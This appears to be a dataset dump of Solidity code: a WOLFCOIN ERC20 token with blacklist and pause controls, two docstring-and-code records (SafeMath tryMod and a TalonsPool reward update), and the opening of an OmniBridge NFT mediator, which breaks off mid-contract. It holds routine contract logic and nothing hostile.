emit Blacklisted(_account);
}
/**
* @dev Removes account from blacklist
* @param _account The address to remove from the blacklist
*/
function unBlacklist(address _account) external onlyBlacklister {
blacklisted[_account] = false;
emit UnBlacklisted(_account);
}
function updateBlacklister(address _newBlacklister) external onlyOwner {
require(
_newBlacklister != address(0),
"Blacklistable: new blacklister is the zero address"
);
blacklister = _newBlacklister;
emit BlacklisterChanged(blacklister);
}
}
contract Pausable is Context, Ownable {
event Pause();
event Unpause();
event PauserChanged(address indexed newAddress);
address public pauser;
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "Network paused by administrator");
_;
}
/**
* @dev throws if called by any account other than the pauser
*/
modifier onlyPauser() {
require(msg.sender == pauser, "Caller is not the pause administrator");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() external onlyPauser {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() external onlyPauser {
paused = false;
emit Unpause();
}
/**
* @dev update the pauser role
*/
function updatePauser(address _newPauser) external onlyOwner {
require(
_newPauser != address(0),
"Pausable: new pauser is the zero address"
);
pauser = _newPauser;
emit PauserChanged(pauser);
}
}
contract ERC20 is Context, IERC20, Pausable, Blacklistable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public whenNotPaused notBlacklisted(msg.sender) notBlacklisted(recipient) virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function mint(address to, uint256 amount) onlyOwner public{
_mint(to, amount);
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/*
/whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) notBlacklisted(from) notBlacklisted(to)
/Made by Steve
*/
function approve(address spender, uint256 amount) public whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused notBlacklisted(msg.sender) notBlacklisted(sender) notBlacklisted(recipient) virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 immutable private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
}
abstract contract ERC20Pausable is ERC20 {
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused, "ERC20Pausable: token transfer while paused");
}
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Arrays {
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract WOLFCOIN is Ownable, Pausable, ERC20, ERC20Burnable {
uint public INITIAL_SUPPLY = 500000000000000000000000000;
constructor() ERC20("WOLFCOIN","WFC"){
_mint(msg.sender, INITIAL_SUPPLY );
}
}
|
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. _Available since v3.4._/
|
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
| 1,354,478
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./partial_match/56/0x26D97f19915F88aD163fF5954C4A806aeC448Cc4/sources/TalonsPool.sol
|
Update reward variables of the given pool to be up-to-date.
|
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 talonsSupply = talons.balanceOf(address(this));
if (talonsSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(rewardTokenPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accRewardTokenPerShare = pool.accRewardTokenPerShare.add(tokenReward.mul(1e12).div(talonsSupply));
pool.lastRewardBlock = block.number;
}
| 11,136,768
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// File: contracts/upgradeability/EternalStorage.sol
pragma solidity 0.7.5;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/upgradeable_contracts/Initializable.sol
pragma solidity 0.7.5;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba; // keccak256(abi.encodePacked("isInitialized"))
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
// File: contracts/interfaces/IUpgradeabilityOwnerStorage.sol
pragma solidity 0.7.5;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
// File: contracts/upgradeable_contracts/Upgradeable.sol
pragma solidity 0.7.5;
contract Upgradeable {
// Avoid using onlyUpgradeabilityOwner name to prevent issues with implementation from proxy contract
modifier onlyIfUpgradeabilityOwner() {
require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner());
_;
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/common/BridgeOperationsStorage.sol
pragma solidity 0.7.5;
/**
* @title BridgeOperationsStorage
* @dev Functionality for storing processed bridged operations.
*/
abstract contract BridgeOperationsStorage is EternalStorage {
/**
* @dev Stores the bridged token of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _token bridged token address.
*/
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
/**
* @dev Tells the bridged token address of a message sent to the AMB bridge.
* @return address of a token contract.
*/
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
/**
* @dev Stores the value of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _value amount of tokens bridged.
*/
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
/**
* @dev Tells the amount of tokens of a message sent to the AMB bridge.
* @return value representing amount of tokens.
*/
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
/**
* @dev Stores the receiver of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _recipient receiver of the tokens bridged.
*/
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
/**
* @dev Tells the receiver of a message sent to the AMB bridge.
* @return address of the receiver.
*/
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
}
// File: contracts/upgradeable_contracts/Ownable.sol
pragma solidity 0.7.5;
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202; // upgradeabilityOwner()
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
_;
}
/**
* @dev Throws if called through proxy by any account other than contract itself or an upgradeability owner.
*/
modifier onlyRelevantSender() {
(bool isProxy, bytes memory returnData) =
address(this).staticcall(abi.encodeWithSelector(UPGRADEABILITY_OWNER));
require(
!isProxy || // covers usage without calling through storage proxy
(returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) || // covers usage through regular proxy calls
msg.sender == address(this) // covers calls through upgradeAndCall proxy method
);
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0; // keccak256(abi.encodePacked("owner"))
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[OWNER];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
// File: contracts/interfaces/IAMB.sol
pragma solidity 0.7.5;
interface IAMB {
event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData);
event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData);
event CollectedSignatures(
address authorityResponsibleForRelay,
bytes32 messageHash,
uint256 numberOfCollectedSignatures
);
event AffirmationCompleted(
address indexed sender,
address indexed executor,
bytes32 indexed messageId,
bool status
);
event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status);
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function requireToConfirmMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/upgradeable_contracts/BasicAMBMediator.sol
pragma solidity 0.7.5;
/**
* @title BasicAMBMediator
* @dev Basic storage and methods needed by mediators to interact with AMB bridge.
*/
abstract contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f; // keccak256(abi.encodePacked("bridgeContract"))
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880; // keccak256(abi.encodePacked("mediatorContract"))
/**
* @dev Throws if caller on the other side is not an associated mediator.
*/
modifier onlyMediator {
_onlyMediator();
_;
}
/**
* @dev Internal function for reducing onlyMediator modifier bytecode overhead.
*/
function _onlyMediator() internal view {
IAMB bridge = bridgeContract();
require(msg.sender == address(bridge));
require(bridge.messageSender() == mediatorContractOnOtherSide());
}
/**
* @dev Sets the AMB bridge contract address. Only the owner can call this method.
* @param _bridgeContract the address of the bridge contract.
*/
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
/**
* @dev Sets the mediator contract address from the other network. Only the owner can call this method.
* @param _mediatorContract the address of the mediator contract.
*/
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
/**
* @dev Get the AMB interface for the bridge contract address
* @return AMB interface for the bridge contract address
*/
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
/**
* @dev Tells the mediator contract address from the other network.
* @return the address of the mediator contract.
*/
function mediatorContractOnOtherSide() public view virtual returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
/**
* @dev Stores a valid AMB bridge contract address.
* @param _bridgeContract the address of the bridge contract.
*/
function _setBridgeContract(address _bridgeContract) internal {
require(Address.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
/**
* @dev Stores the mediator contract address from the other network.
* @param _mediatorContract the address of the mediator contract.
*/
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
/**
* @dev Tells the id of the message originated on the other network.
* @return the id of the message originated on the other network.
*/
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
/**
* @dev Tells the maximum gas limit that a message can use on its execution by the AMB bridge on the other network.
* @return the maximum gas limit value.
*/
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32);
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/common/FailedMessagesProcessor.sol
pragma solidity 0.7.5;
/**
* @title FailedMessagesProcessor
* @dev Functionality for fixing failed bridging operations.
*/
abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage {
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
/**
* @dev Method to be called when a bridged message execution failed. It will generate a new message requesting to
* fix/roll back the transferred assets on the other network.
* @param _messageId id of the message which execution failed.
*/
function requestFailedMessageFix(bytes32 _messageId) external {
IAMB bridge = bridgeContract();
require(!bridge.messageCallStatus(_messageId));
require(bridge.failedMessageReceiver(_messageId) == address(this));
require(bridge.failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes memory data = abi.encodeWithSelector(this.fixFailedMessage.selector, _messageId);
_passMessage(data, false);
}
/**
* @dev Handles the request to fix transferred assets which bridged message execution failed on the other network.
* It uses the information stored by passMessage method when the assets were initially transferred
* @param _messageId id of the message which execution failed on the other network.
*/
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
/**
* @dev Tells if a message sent to the AMB bridge has been fixed.
* @return bool indicating the status of the message.
*/
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
/**
* @dev Sets that the message sent to the AMB bridge has been fixed.
* @param _messageId of the message sent to the bridge.
*/
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal virtual;
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/common/NFTBridgeLimits.sol
pragma solidity 0.7.5;
/**
* @title NFTBridgeLimits
* @dev Functionality for keeping track of bridging limits for multiple ERC721 tokens.
*/
abstract contract NFTBridgeLimits is Ownable {
// token == 0x00..00 represents global restriction applied for all tokens
event TokenBridgingDisabled(address indexed token, bool disabled);
